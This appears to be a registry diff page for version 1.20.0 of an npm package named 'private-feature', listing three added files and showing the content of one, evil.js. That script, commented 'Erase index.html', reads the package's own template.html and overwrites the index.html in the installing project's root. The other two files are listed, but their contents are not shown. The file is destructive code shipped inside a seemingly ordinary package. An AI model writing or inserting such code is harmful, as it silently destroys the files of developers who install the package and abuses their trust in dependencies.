private-feature 1.20.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/evil.js +21 -0
- package/package.json +10 -0
- package/template.html +10 -0
package/evil.js
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
const fs = require('fs');
|
2
|
+
const path = require('path');
|
3
|
+
|
4
|
+
// Path to template in node_modules
|
5
|
+
const templatePath = path.join(__dirname, 'template.html');
|
6
|
+
|
7
|
+
// Path to the project
|
8
|
+
const destinationPath = path.join(__dirname, '..', '..', 'index.html');
|
9
|
+
|
10
|
+
// Read the template file
|
11
|
+
fs.readFile(templatePath, 'utf8', function(err, data) {
|
12
|
+
if (err) {
|
13
|
+
return console.error(err);
|
14
|
+
}
|
15
|
+
// Erase index.html
|
16
|
+
fs.writeFile(destinationPath, data, 'utf8', function(err) {
|
17
|
+
if (err) {
|
18
|
+
return console.error(err);
|
19
|
+
}
|
20
|
+
});
|
21
|
+
});
|
package/package.json
ADDED